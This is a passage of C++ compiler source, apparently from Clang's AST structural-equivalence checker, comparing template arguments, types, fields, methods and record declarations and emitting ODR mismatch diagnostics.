true; } /// Determine whether two template arguments are equivalent. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, const TemplateArgument &Arg1, const TemplateArgument &Arg2) { if (Arg1.getKind() != Arg2.getKind()) return false; switch (Arg1.getKind()) { case TemplateArgument::Null: return true; case TemplateArgument::Type: return IsStructurallyEquivalent(Context, Arg1.getAsType(), Arg2.getAsType()); case TemplateArgument::Integral: if (!IsStructurallyEquivalent(Context, Arg1.getIntegralType(), Arg2.getIntegralType())) return false; return llvm::APSInt::isSameValue(Arg1.getAsIntegral(), Arg2.getAsIntegral()); case TemplateArgument::Declaration: return IsStructurallyEquivalent(Context, Arg1.getAsDecl(), Arg2.getAsDecl()); case TemplateArgument::NullPtr: return true; // FIXME: Is this correct? case TemplateArgument::Template: return IsStructurallyEquivalent(Context, Arg1.getAsTemplate(), Arg2.getAsTemplate()); case TemplateArgument::TemplateExpansion: return IsStructurallyEquivalent(Context, Arg1.getAsTemplateOrTemplatePattern(), Arg2.getAsTemplateOrTemplatePattern()); case TemplateArgument::Expression: return IsStructurallyEquivalent(Context, Arg1.getAsExpr(), Arg2.getAsExpr()); case TemplateArgument::Pack: if (Arg1.pack_size() != Arg2.pack_size()) return false; for (unsigned I = 0, N = Arg1.pack_size(); I != N; ++I) if (!IsStructurallyEquivalent(Context, Arg1.pack_begin()[I], Arg2.pack_begin()[I])) return false; return true; } llvm_unreachable("Invalid template argument kind"); } /// Determine structural equivalence for the common part of array /// types. static bool IsArrayStructurallyEquivalent(StructuralEquivalenceContext &Context, const ArrayType *Array1, const ArrayType *Array2) { if (!IsStructurallyEquivalent(Context, Array1->getElementType(), Array2->getElementType())) return false; if (Array1->getSizeModifier() != Array2->getSizeModifier()) return false; if (Array1->getIndexTypeQualifiers() != Array2->getIndexTypeQualifiers()) return false; return true; } /// Determine structural equivalence based on the ExtInfo of functions. This /// is inspired by ASTContext::mergeFunctionTypes(), we compare calling /// conventions bits but must not compare some other bits. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, FunctionType::ExtInfo EI1, FunctionType::ExtInfo EI2) { // Compatible functions must have compatible calling conventions. if (EI1.getCC() != EI2.getCC()) return false; // Regparm is part of the calling convention. if (EI1.getHasRegParm() != EI2.getHasRegParm()) return false; if (EI1.getRegParm() != EI2.getRegParm()) return false; if (EI1.getProducesResult() != EI2.getProducesResult()) return false; if (EI1.getNoCallerSavedRegs() != EI2.getNoCallerSavedRegs()) return false; if (EI1.getNoCfCheck() != EI2.getNoCfCheck()) return false; return true; } /// Check the equivalence of exception specifications. static bool IsEquivalentExceptionSpec(StructuralEquivalenceContext &Context, const FunctionProtoType *Proto1, const FunctionProtoType *Proto2) { auto Spec1 = Proto1->getExceptionSpecType(); auto Spec2 = Proto2->getExceptionSpecType(); if (isUnresolvedExceptionSpec(Spec1) || isUnresolvedExceptionSpec(Spec2)) return true; if (Spec1 != Spec2) return false; if (Spec1 == EST_Dynamic) { if (Proto1->getNumExceptions() != Proto2->getNumExceptions()) return false; for (unsigned I = 0, N = Proto1->getNumExceptions(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Proto1->getExceptionType(I), Proto2->getExceptionType(I))) return false; } } else if (isComputedNoexcept(Spec1)) { if (!IsStructurallyEquivalent(Context, Proto1->getNoexceptExpr(), Proto2->getNoexceptExpr())) return false; } return true; } /// Determine structural equivalence of two types. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, QualType T1, QualType T2) { if (T1.isNull() || T2.isNull()) return T1.isNull() && T2.isNull(); QualType OrigT1 = T1; QualType OrigT2 = T2; if (!Context.StrictTypeSpelling) { // We aren't being strict about token-to-token equivalence of types, // so map down to the canonical type. T1 = Context.FromCtx.getCanonicalType(T1); T2 = Context.ToCtx.getCanonicalType(T2); } if (T1.getQualifiers() != T2.getQualifiers()) return false; Type::TypeClass TC = T1->getTypeClass(); if (T1->getTypeClass() != T2->getTypeClass()) { // Compare function types with prototypes vs. without prototypes as if // both did not have prototypes. if (T1->getTypeClass() == Type::FunctionProto && T2->getTypeClass() == Type::FunctionNoProto) TC = Type::FunctionNoProto; else if (T1->getTypeClass() == Type::FunctionNoProto && T2->getTypeClass() == Type::FunctionProto) TC = Type::FunctionNoProto; else return false; } switch (TC) { case Type::Builtin: // FIXME: Deal with Char_S/Char_U. if (cast<BuiltinType>(T1)->getKind() != cast<BuiltinType>(T2)->getKind()) return false; break; case Type::Complex: if (!IsStructurallyEquivalent(Context, cast<ComplexType>(T1)->getElementType(), cast<ComplexType>(T2)->getElementType())) return false; break; case Type::Adjusted: case Type::Decayed: if (!IsStructurallyEquivalent(Context, cast<AdjustedType>(T1)->getOriginalType(), cast<AdjustedType>(T2)->getOriginalType())) return false; break; case Type::Pointer: if (!IsStructurallyEquivalent(Context, cast<PointerType>(T1)->getPointeeType(), cast<PointerType>(T2)->getPointeeType())) return false; break; case Type::BlockPointer: if (!IsStructurallyEquivalent(Context, cast<BlockPointerType>(T1)->getPointeeType(), cast<BlockPointerType>(T2)->getPointeeType())) return false; break; case Type::LValueReference: case Type::RValueReference: { const auto *Ref1 = cast<ReferenceType>(T1); const auto *Ref2 = cast<ReferenceType>(T2); if (Ref1->isSpelledAsLValue() != Ref2->isSpelledAsLValue()) return false; if (Ref1->isInnerRef() != Ref2->isInnerRef()) return false; if (!IsStructurallyEquivalent(Context, Ref1->getPointeeTypeAsWritten(), Ref2->getPointeeTypeAsWritten())) return false; break; } case Type::MemberPointer: { const auto *MemPtr1 = cast<MemberPointerType>(T1); const auto *MemPtr2 = cast<MemberPointerType>(T2); if (!IsStructurallyEquivalent(Context, MemPtr1->getPointeeType(), MemPtr2->getPointeeType())) return false; if (!IsStructurallyEquivalent(Context, QualType(MemPtr1->getClass(), 0), QualType(MemPtr2->getClass(), 0))) return false; break; } case Type::ConstantArray: { const auto *Array1 = cast<ConstantArrayType>(T1); const auto *Array2 = cast<ConstantArrayType>(T2); if (!llvm::APInt::isSameValue(Array1->getSize(), Array2->getSize())) return false; if (!IsArrayStructurallyEquivalent(Context, Array1, Array2)) return false; break; } case Type::IncompleteArray: if (!IsArrayStructurallyEquivalent(Context, cast<ArrayType>(T1), cast<ArrayType>(T2))) return false; break; case Type::VariableArray: { const auto *Array1 = cast<VariableArrayType>(T1); const auto *Array2 = cast<VariableArrayType>(T2); if (!IsStructurallyEquivalent(Context, Array1->getSizeExpr(), Array2->getSizeExpr())) return false; if (!IsArrayStructurallyEquivalent(Context, Array1, Array2)) return false; break; } case Type::DependentSizedArray: { const auto *Array1 = cast<DependentSizedArrayType>(T1); const auto *Array2 = cast<DependentSizedArrayType>(T2); if (!IsStructurallyEquivalent(Context, Array1->getSizeExpr(), Array2->getSizeExpr())) return false; if (!IsArrayStructurallyEquivalent(Context, Array1, Array2)) return false; break; } case Type::DependentAddressSpace: { const auto *DepAddressSpace1 = cast<DependentAddressSpaceType>(T1); const auto *DepAddressSpace2 = cast<DependentAddressSpaceType>(T2); if (!IsStructurallyEquivalent(Context, DepAddressSpace1->getAddrSpaceExpr(), DepAddressSpace2->getAddrSpaceExpr())) return false; if (!IsStructurallyEquivalent(Context, DepAddressSpace1->getPointeeType(), DepAddressSpace2->getPointeeType())) return false; break; } case Type::DependentSizedExtVector: { const auto *Vec1 = cast<DependentSizedExtVectorType>(T1); const auto *Vec2 = cast<DependentSizedExtVectorType>(T2); if (!IsStructurallyEquivalent(Context, Vec1->getSizeExpr(), Vec2->getSizeExpr())) return false; if (!IsStructurallyEquivalent(Context, Vec1->getElementType(), Vec2->getElementType())) return false; break; } case Type::DependentVector: { const auto *Vec1 = cast<DependentVectorType>(T1); const auto *Vec2 = cast<DependentVectorType>(T2); if (Vec1->getVectorKind() != Vec2->getVectorKind()) return false; if (!IsStructurallyEquivalent(Context, Vec1->getSizeExpr(), Vec2->getSizeExpr())) return false; if (!IsStructurallyEquivalent(Context, Vec1->getElementType(), Vec2->getElementType())) return false; break; } case Type::Vector: case Type::ExtVector: { const auto *Vec1 = cast<VectorType>(T1); const auto *Vec2 = cast<VectorType>(T2); if (!IsStructurallyEquivalent(Context, Vec1->getElementType(), Vec2->getElementType())) return false; if (Vec1->getNumElements() != Vec2->getNumElements()) return false; if (Vec1->getVectorKind() != Vec2->getVectorKind()) return false; break; } case Type::DependentSizedMatrix: { const DependentSizedMatrixType *Mat1 = cast<DependentSizedMatrixType>(T1); const DependentSizedMatrixType *Mat2 = cast<DependentSizedMatrixType>(T2); // The element types, row and column expressions must be structurally // equivalent. if (!IsStructurallyEquivalent(Context, Mat1->getRowExpr(), Mat2->getRowExpr()) || !IsStructurallyEquivalent(Context, Mat1->getColumnExpr(), Mat2->getColumnExpr()) || !IsStructurallyEquivalent(Context, Mat1->getElementType(), Mat2->getElementType())) return false; break; } case Type::ConstantMatrix: { const ConstantMatrixType *Mat1 = cast<ConstantMatrixType>(T1); const ConstantMatrixType *Mat2 = cast<ConstantMatrixType>(T2); // The element types must be structurally equivalent and the number of rows // and columns must match. if (!IsStructurallyEquivalent(Context, Mat1->getElementType(), Mat2->getElementType()) || Mat1->getNumRows() != Mat2->getNumRows() || Mat1->getNumColumns() != Mat2->getNumColumns()) return false; break; } case Type::FunctionProto: { const auto *Proto1 = cast<FunctionProtoType>(T1); const auto *Proto2 = cast<FunctionProtoType>(T2); if (Proto1->getNumParams() != Proto2->getNumParams()) return false; for (unsigned I = 0, N = Proto1->getNumParams(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Proto1->getParamType(I), Proto2->getParamType(I))) return false; } if (Proto1->isVariadic() != Proto2->isVariadic()) return false; if (Proto1->getMethodQuals() != Proto2->getMethodQuals()) return false; // Check exceptions, this information is lost in canonical type. const auto *OrigProto1 = cast<FunctionProtoType>(OrigT1.getDesugaredType(Context.FromCtx)); const auto *OrigProto2 = cast<FunctionProtoType>(OrigT2.getDesugaredType(Context.ToCtx)); if (!IsEquivalentExceptionSpec(Context, OrigProto1, OrigProto2)) return false; // Fall through to check the bits common with FunctionNoProtoType. LLVM_FALLTHROUGH; } case Type::FunctionNoProto: { const auto *Function1 = cast<FunctionType>(T1); const auto *Function2 = cast<FunctionType>(T2); if (!IsStructurallyEquivalent(Context, Function1->getReturnType(), Function2->getReturnType())) return false; if (!IsStructurallyEquivalent(Context, Function1->getExtInfo(), Function2->getExtInfo())) return false; break; } case Type::UnresolvedUsing: if (!IsStructurallyEquivalent(Context, cast<UnresolvedUsingType>(T1)->getDecl(), cast<UnresolvedUsingType>(T2)->getDecl())) return false; break; case Type::Attributed: if (!IsStructurallyEquivalent(Context, cast<AttributedType>(T1)->getModifiedType(), cast<AttributedType>(T2)->getModifiedType())) return false; if (!IsStructurallyEquivalent( Context, cast<AttributedType>(T1)->getEquivalentType(), cast<AttributedType>(T2)->getEquivalentType())) return false; break; case Type::Paren: if (!IsStructurallyEquivalent(Context, cast<ParenType>(T1)->getInnerType(), cast<ParenType>(T2)->getInnerType())) return false; break; case Type::MacroQualified: if (!IsStructurallyEquivalent( Context, cast<MacroQualifiedType>(T1)->getUnderlyingType(), cast<MacroQualifiedType>(T2)->getUnderlyingType())) return false; break; case Type::Using: if (!IsStructurallyEquivalent(Context, cast<UsingType>(T1)->getFoundDecl(), cast<UsingType>(T2)->getFoundDecl())) return false; break; case Type::Typedef: if (!IsStructurallyEquivalent(Context, cast<TypedefType>(T1)->getDecl(), cast<TypedefType>(T2)->getDecl())) return false; break; case Type::TypeOfExpr: if (!IsStructurallyEquivalent( Context, cast<TypeOfExprType>(T1)->getUnderlyingExpr(), cast<TypeOfExprType>(T2)->getUnderlyingExpr())) return false; break; case Type::TypeOf: if (!IsStructurallyEquivalent(Context, cast<TypeOfType>(T1)->getUnderlyingType(), cast<TypeOfType>(T2)->getUnderlyingType())) return false; break; case Type::UnaryTransform: if (!IsStructurallyEquivalent( Context, cast<UnaryTransformType>(T1)->getUnderlyingType(), cast<UnaryTransformType>(T2)->getUnderlyingType())) return false; break; case Type::Decltype: if (!IsStructurallyEquivalent(Context, cast<DecltypeType>(T1)->getUnderlyingExpr(), cast<DecltypeType>(T2)->getUnderlyingExpr())) return false; break; case Type::Auto: { auto *Auto1 = cast<AutoType>(T1); auto *Auto2 = cast<AutoType>(T2); if (!IsStructurallyEquivalent(Context, Auto1->getDeducedType(), Auto2->getDeducedType())) return false; if (Auto1->isConstrained() != Auto2->isConstrained()) return false; if (Auto1->isConstrained()) { if (Auto1->getTypeConstraintConcept() != Auto2->getTypeConstraintConcept()) return false; ArrayRef<TemplateArgument> Auto1Args = Auto1->getTypeConstraintArguments(); ArrayRef<TemplateArgument> Auto2Args = Auto2->getTypeConstraintArguments(); if (Auto1Args.size() != Auto2Args.size()) return false; for (unsigned I = 0, N = Auto1Args.size(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Auto1Args[I], Auto2Args[I])) return false; } } break; } case Type::DeducedTemplateSpecialization: { const auto *DT1 = cast<DeducedTemplateSpecializationType>(T1); const auto *DT2 = cast<DeducedTemplateSpecializationType>(T2); if (!IsStructurallyEquivalent(Context, DT1->getTemplateName(), DT2->getTemplateName())) return false; if (!IsStructurallyEquivalent(Context, DT1->getDeducedType(), DT2->getDeducedType())) return false; break; } case Type::Record: case Type::Enum: if (!IsStructurallyEquivalent(Context, cast<TagType>(T1)->getDecl(), cast<TagType>(T2)->getDecl())) return false; break; case Type::TemplateTypeParm: { const auto *Parm1 = cast<TemplateTypeParmType>(T1); const auto *Parm2 = cast<TemplateTypeParmType>(T2); if (Parm1->getDepth() != Parm2->getDepth()) return false; if (Parm1->getIndex() != Parm2->getIndex()) return false; if (Parm1->isParameterPack() != Parm2->isParameterPack()) return false; // Names of template type parameters are never significant. break; } case Type::SubstTemplateTypeParm: { const auto *Subst1 = cast<SubstTemplateTypeParmType>(T1); const auto *Subst2 = cast<SubstTemplateTypeParmType>(T2); if (!IsStructurallyEquivalent(Context, QualType(Subst1->getReplacedParameter(), 0), QualType(Subst2->getReplacedParameter(), 0))) return false; if (!IsStructurallyEquivalent(Context, Subst1->getReplacementType(), Subst2->getReplacementType())) return false; break; } case Type::SubstTemplateTypeParmPack: { const auto *Subst1 = cast<SubstTemplateTypeParmPackType>(T1); const auto *Subst2 = cast<SubstTemplateTypeParmPackType>(T2); if (!IsStructurallyEquivalent(Context, QualType(Subst1->getReplacedParameter(), 0), QualType(Subst2->getReplacedParameter(), 0))) return false; if (!IsStructurallyEquivalent(Context, Subst1->getArgumentPack(), Subst2->getArgumentPack())) return false; break; } case Type::TemplateSpecialization: { const auto *Spec1 = cast<TemplateSpecializationType>(T1); const auto *Spec2 = cast<TemplateSpecializationType>(T2); if (!IsStructurallyEquivalent(Context, Spec1->getTemplateName(), Spec2->getTemplateName())) return false; if (Spec1->getNumArgs() != Spec2->getNumArgs()) return false; for (unsigned I = 0, N = Spec1->getNumArgs(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Spec1->getArg(I), Spec2->getArg(I))) return false; } break; } case Type::Elaborated: { const auto *Elab1 = cast<ElaboratedType>(T1); const auto *Elab2 = cast<ElaboratedType>(T2); // CHECKME: what if a keyword is ETK_None or ETK_typename ? if (Elab1->getKeyword() != Elab2->getKeyword()) return false; if (!IsStructurallyEquivalent(Context, Elab1->getQualifier(), Elab2->getQualifier())) return false; if (!IsStructurallyEquivalent(Context, Elab1->getNamedType(), Elab2->getNamedType())) return false; break; } case Type::InjectedClassName: { const auto *Inj1 = cast<InjectedClassNameType>(T1); const auto *Inj2 = cast<InjectedClassNameType>(T2); if (!IsStructurallyEquivalent(Context, Inj1->getInjectedSpecializationType(), Inj2->getInjectedSpecializationType())) return false; break; } case Type::DependentName: { const auto *Typename1 = cast<DependentNameType>(T1); const auto *Typename2 = cast<DependentNameType>(T2); if (!IsStructurallyEquivalent(Context, Typename1->getQualifier(), Typename2->getQualifier())) return false; if (!IsStructurallyEquivalent(Typename1->getIdentifier(), Typename2->getIdentifier())) return false; break; } case Type::DependentTemplateSpecialization: { const auto *Spec1 = cast<DependentTemplateSpecializationType>(T1); const auto *Spec2 = cast<DependentTemplateSpecializationType>(T2); if (!IsStructurallyEquivalent(Context, Spec1->getQualifier(), Spec2->getQualifier())) return false; if (!IsStructurallyEquivalent(Spec1->getIdentifier(), Spec2->getIdentifier())) return false; if (Spec1->getNumArgs() != Spec2->getNumArgs()) return false; for (unsigned I = 0, N = Spec1->getNumArgs(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Spec1->getArg(I), Spec2->getArg(I))) return false; } break; } case Type::PackExpansion: if (!IsStructurallyEquivalent(Context, cast<PackExpansionType>(T1)->getPattern(), cast<PackExpansionType>(T2)->getPattern())) return false; break; case Type::ObjCInterface: { const auto *Iface1 = cast<ObjCInterfaceType>(T1); const auto *Iface2 = cast<ObjCInterfaceType>(T2); if (!IsStructurallyEquivalent(Context, Iface1->getDecl(), Iface2->getDecl())) return false; break; } case Type::ObjCTypeParam: { const auto *Obj1 = cast<ObjCTypeParamType>(T1); const auto *Obj2 = cast<ObjCTypeParamType>(T2); if (!IsStructurallyEquivalent(Context, Obj1->getDecl(), Obj2->getDecl())) return false; if (Obj1->getNumProtocols() != Obj2->getNumProtocols()) return false; for (unsigned I = 0, N = Obj1->getNumProtocols(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Obj1->getProtocol(I), Obj2->getProtocol(I))) return false; } break; } case Type::ObjCObject: { const auto *Obj1 = cast<ObjCObjectType>(T1); const auto *Obj2 = cast<ObjCObjectType>(T2); if (!IsStructurallyEquivalent(Context, Obj1->getBaseType(), Obj2->getBaseType())) return false; if (Obj1->getNumProtocols() != Obj2->getNumProtocols()) return false; for (unsigned I = 0, N = Obj1->getNumProtocols(); I != N; ++I) { if (!IsStructurallyEquivalent(Context, Obj1->getProtocol(I), Obj2->getProtocol(I))) return false; } break; } case Type::ObjCObjectPointer: { const auto *Ptr1 = cast<ObjCObjectPointerType>(T1); const auto *Ptr2 = cast<ObjCObjectPointerType>(T2); if (!IsStructurallyEquivalent(Context, Ptr1->getPointeeType(), Ptr2->getPointeeType())) return false; break; } case Type::Atomic: if (!IsStructurallyEquivalent(Context, cast<AtomicType>(T1)->getValueType(), cast<AtomicType>(T2)->getValueType())) return false; break; case Type::Pipe: if (!IsStructurallyEquivalent(Context, cast<PipeType>(T1)->getElementType(), cast<PipeType>(T2)->getElementType())) return false; break; case Type::BitInt: { const auto *Int1 = cast<BitIntType>(T1); const auto *Int2 = cast<BitIntType>(T2); if (Int1->isUnsigned() != Int2->isUnsigned() || Int1->getNumBits() != Int2->getNumBits()) return false; break; } case Type::DependentBitInt: { const auto *Int1 = cast<DependentBitIntType>(T1); const auto *Int2 = cast<DependentBitIntType>(T2); if (Int1->isUnsigned() != Int2->isUnsigned() || !IsStructurallyEquivalent(Context, Int1->getNumBitsExpr(), Int2->getNumBitsExpr())) return false; } } // end switch return true; } /// Determine structural equivalence of two fields. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, FieldDecl *Field1, FieldDecl *Field2) { const auto *Owner2 = cast<RecordDecl>(Field2->getDeclContext()); // For anonymous structs/unions, match up the anonymous struct/union type // declarations directly, so that we don't go off searching for anonymous // types if (Field1->isAnonymousStructOrUnion() && Field2->isAnonymousStructOrUnion()) { RecordDecl *D1 = Field1->getType()->castAs<RecordType>()->getDecl(); RecordDecl *D2 = Field2->getType()->castAs<RecordType>()->getDecl(); return IsStructurallyEquivalent(Context, D1, D2); } // Check for equivalent field names. IdentifierInfo *Name1 = Field1->getIdentifier(); IdentifierInfo *Name2 = Field2->getIdentifier(); if (!::IsStructurallyEquivalent(Name1, Name2)) { if (Context.Complain) { Context.Diag2( Owner2->getLocation(), Context.getApplicableDiagnostic(diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(Owner2); Context.Diag2(Field2->getLocation(), diag::note_odr_field_name) << Field2->getDeclName(); Context.Diag1(Field1->getLocation(), diag::note_odr_field_name) << Field1->getDeclName(); } return false; } if (!IsStructurallyEquivalent(Context, Field1->getType(), Field2->getType())) { if (Context.Complain) { Context.Diag2( Owner2->getLocation(), Context.getApplicableDiagnostic(diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(Owner2); Context.Diag2(Field2->getLocation(), diag::note_odr_field) << Field2->getDeclName() << Field2->getType(); Context.Diag1(Field1->getLocation(), diag::note_odr_field) << Field1->getDeclName() << Field1->getType(); } return false; } if (Field1->isBitField()) return IsStructurallyEquivalent(Context, Field1->getBitWidth(), Field2->getBitWidth()); return true; } /// Determine structural equivalence of two methods. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, CXXMethodDecl *Method1, CXXMethodDecl *Method2) { bool PropertiesEqual = Method1->getDeclKind() == Method2->getDeclKind() && Method1->getRefQualifier() == Method2->getRefQualifier() && Method1->getAccess() == Method2->getAccess() && Method1->getOverloadedOperator() == Method2->getOverloadedOperator() && Method1->isStatic() == Method2->isStatic() && Method1->isConst() == Method2->isConst() && Method1->isVolatile() == Method2->isVolatile() && Method1->isVirtual() == Method2->isVirtual() && Method1->isPure() == Method2->isPure() && Method1->isDefaulted() == Method2->isDefaulted() && Method1->isDeleted() == Method2->isDeleted(); if (!PropertiesEqual) return false; // FIXME: Check for 'final'. if (auto *Constructor1 = dyn_cast<CXXConstructorDecl>(Method1)) { auto *Constructor2 = cast<CXXConstructorDecl>(Method2); if (!Constructor1->getExplicitSpecifier().isEquivalent( Constructor2->getExplicitSpecifier())) return false; } if (auto *Conversion1 = dyn_cast<CXXConversionDecl>(Method1)) { auto *Conversion2 = cast<CXXConversionDecl>(Method2); if (!Conversion1->getExplicitSpecifier().isEquivalent( Conversion2->getExplicitSpecifier())) return false; if (!IsStructurallyEquivalent(Context, Conversion1->getConversionType(), Conversion2->getConversionType())) return false; } const IdentifierInfo *Name1 = Method1->getIdentifier(); const IdentifierInfo *Name2 = Method2->getIdentifier(); if (!::IsStructurallyEquivalent(Name1, Name2)) { return false; // TODO: Names do not match, add warning like at check for FieldDecl. } // Check the prototypes. if (!::IsStructurallyEquivalent(Context, Method1->getType(), Method2->getType())) return false; return true; } /// Determine structural equivalence of two lambda classes. static bool IsStructurallyEquivalentLambdas(StructuralEquivalenceContext &Context, CXXRecordDecl *D1, CXXRecordDecl *D2) { assert(D1->isLambda() && D2->isLambda() && "Must be called on lambda classes"); if (!IsStructurallyEquivalent(Context, D1->getLambdaCallOperator(), D2->getLambdaCallOperator())) return false; return true; } /// Determine if context of a class is equivalent. static bool IsRecordContextStructurallyEquivalent(RecordDecl *D1, RecordDecl *D2) { // The context should be completely equal, including anonymous and inline // namespaces. // We compare objects as part of full translation units, not subtrees of // translation units. DeclContext *DC1 = D1->getDeclContext()->getNonTransparentContext(); DeclContext *DC2 = D2->getDeclContext()->getNonTransparentContext(); while (true) { // Special case: We allow a struct defined in a function to be equivalent // with a similar struct defined outside of a function. if ((DC1->isFunctionOrMethod() && DC2->isTranslationUnit()) || (DC2->isFunctionOrMethod() && DC1->isTranslationUnit())) return true; if (DC1->getDeclKind() != DC2->getDeclKind()) return false; if (DC1->isTranslationUnit()) break; if (DC1->isInlineNamespace() != DC2->isInlineNamespace()) return false; if (const auto *ND1 = dyn_cast<NamedDecl>(DC1)) { const auto *ND2 = cast<NamedDecl>(DC2); if (!DC1->isInlineNamespace() && !IsStructurallyEquivalent(ND1->getIdentifier(), ND2->getIdentifier())) return false; } DC1 = DC1->getParent()->getNonTransparentContext(); DC2 = DC2->getParent()->getNonTransparentContext(); } return true; } /// Determine structural equivalence of two records. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, RecordDecl *D1, RecordDecl *D2) { // Check for equivalent structure names. IdentifierInfo *Name1 = D1->getIdentifier(); if (!Name1 && D1->getTypedefNameForAnonDecl()) Name1 = D1->getTypedefNameForAnonDecl()->getIdentifier(); IdentifierInfo *Name2 = D2->getIdentifier(); if (!Name2 && D2->getTypedefNameForAnonDecl()) Name2 = D2->getTypedefNameForAnonDecl()->getIdentifier(); if (!IsStructurallyEquivalent(Name1, Name2)) return false; if (D1->isUnion() != D2->isUnion()) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag1(D1->getLocation(), diag::note_odr_tag_kind_here) << D1->getDeclName() << (unsigned)D1->getTagKind(); } return false; } if (!D1->getDeclName() && !D2->getDeclName()) { // If both anonymous structs/unions are in a record context, make sure // they occur in the same location in the context records. if (Optional<unsigned> Index1 = StructuralEquivalenceContext::findUntaggedStructOrUnionIndex(D1)) { if (Optional<unsigned> Index2 = StructuralEquivalenceContext::findUntaggedStructOrUnionIndex( D2)) { if (*Index1 != *Index2) return false; } } } // If the records occur in different context (namespace), these should be // different. This is specially important if the definition of one or both // records is missing. if (!IsRecordContextStructurallyEquivalent(D1, D2)) return false; // If both declarations are class template specializations, we know // the ODR applies, so check the template and template arguments. const auto *Spec1 = dyn_cast<ClassTemplateSpecializationDecl>(D1); const auto *Spec2 = dyn_cast<ClassTemplateSpecializationDecl>(D2); if (Spec1 && Spec2) { // Check that the specialized templates are the same. if (!IsStructurallyEquivalent(Context, Spec1->getSpecializedTemplate(), Spec2->getSpecializedTemplate())) return false; // Check that the template arguments are the same. if (Spec1->getTemplateArgs().size() != Spec2->getTemplateArgs().size()) return false; for (unsigned I = 0, N = Spec1->getTemplateArgs().size(); I != N; ++I) if (!IsStructurallyEquivalent(Context, Spec1->getTemplateArgs().get(I), Spec2->getTemplateArgs().get(I))) return false; } // If one is a class template specialization and the other is not, these // structures are different. else if (Spec1 || Spec2) return false; // Compare the definitions of these two records. If either or both are // incomplete (i.e. it is a forward decl), we assume that they are // equivalent. D1 = D1->getDefinition(); D2 = D2->getDefinition(); if (!D1 || !D2) return true; // If any of the records has external storage and we do a minimal check (or // AST import) we assume they are equivalent. (If we didn't have this // assumption then `RecordDecl::LoadFieldsFromExternalStorage` could trigger // another AST import which in turn would call the structural equivalency // check again and finally we'd have an improper result.) if (Context.EqKind == StructuralEquivalenceKind::Minimal) if (D1->hasExternalLexicalStorage() || D2->hasExternalLexicalStorage()) return true; // If one definition is currently being defined, we do not compare for // equality and we assume that the decls are equal. if (D1->isBeingDefined() || D2->isBeingDefined()) return true; if (auto *D1CXX = dyn_cast<CXXRecordDecl>(D1)) { if (auto *D2CXX = dyn_cast<CXXRecordDecl>(D2)) { if (D1CXX->hasExternalLexicalStorage() && !D1CXX->isCompleteDefinition()) { D1CXX->getASTContext().getExternalSource()->CompleteType(D1CXX); } if (D1CXX->isLambda() != D2CXX->isLambda()) return false; if (D1CXX->isLambda()) { if (!IsStructurallyEquivalentLambdas(Context, D1CXX, D2CXX)) return false; } if (D1CXX->getNumBases() != D2CXX->getNumBases()) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2(D2->getLocation(), diag::note_odr_number_of_bases) << D2CXX->getNumBases(); Context.Diag1(D1->getLocation(), diag::note_odr_number_of_bases) << D1CXX->getNumBases(); } return false; } // Check the base classes. for (CXXRecordDecl::base_class_iterator Base1 = D1CXX->bases_begin(), BaseEnd1 = D1CXX->bases_end(), Base2 = D2CXX->bases_begin(); Base1 != BaseEnd1; ++Base1, ++Base2) { if (!IsStructurallyEquivalent(Context, Base1->getType(), Base2->getType())) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2(Base2->getBeginLoc(), diag::note_odr_base) << Base2->getType() << Base2->getSourceRange(); Context.Diag1(Base1->getBeginLoc(), diag::note_odr_base) << Base1->getType() << Base1->getSourceRange(); } return false; } // Check virtual vs. non-virtual inheritance mismatch. if (Base1->isVirtual() != Base2->isVirtual()) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2(Base2->getBeginLoc(), diag::note_odr_virtual_base) << Base2->isVirtual() << Base2->getSourceRange(); Context.Diag1(Base1->getBeginLoc(), diag::note_odr_base) << Base1->isVirtual() << Base1->getSourceRange(); } return false; } } // Check the friends for consistency. CXXRecordDecl::friend_iterator Friend2 = D2CXX->friend_begin(), Friend2End = D2CXX->friend_end(); for (CXXRecordDecl::friend_iterator Friend1 = D1CXX->friend_begin(), Friend1End = D1CXX->friend_end(); Friend1 != Friend1End; ++Friend1, ++Friend2) { if (Friend2 == Friend2End) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2CXX); Context.Diag1((*Friend1)->getFriendLoc(), diag::note_odr_friend); Context.Diag2(D2->getLocation(), diag::note_odr_missing_friend); } return false; } if (!IsStructurallyEquivalent(Context, *Friend1, *Friend2)) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2CXX); Context.Diag1((*Friend1)->getFriendLoc(), diag::note_odr_friend); Context.Diag2((*Friend2)->getFriendLoc(), diag::note_odr_friend); } return false; } } if (Friend2 != Friend2End) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2((*Friend2)->getFriendLoc(), diag::note_odr_friend); Context.Diag1(D1->getLocation(), diag::note_odr_missing_friend); } return false; } } else if (D1CXX->getNumBases() > 0) { if 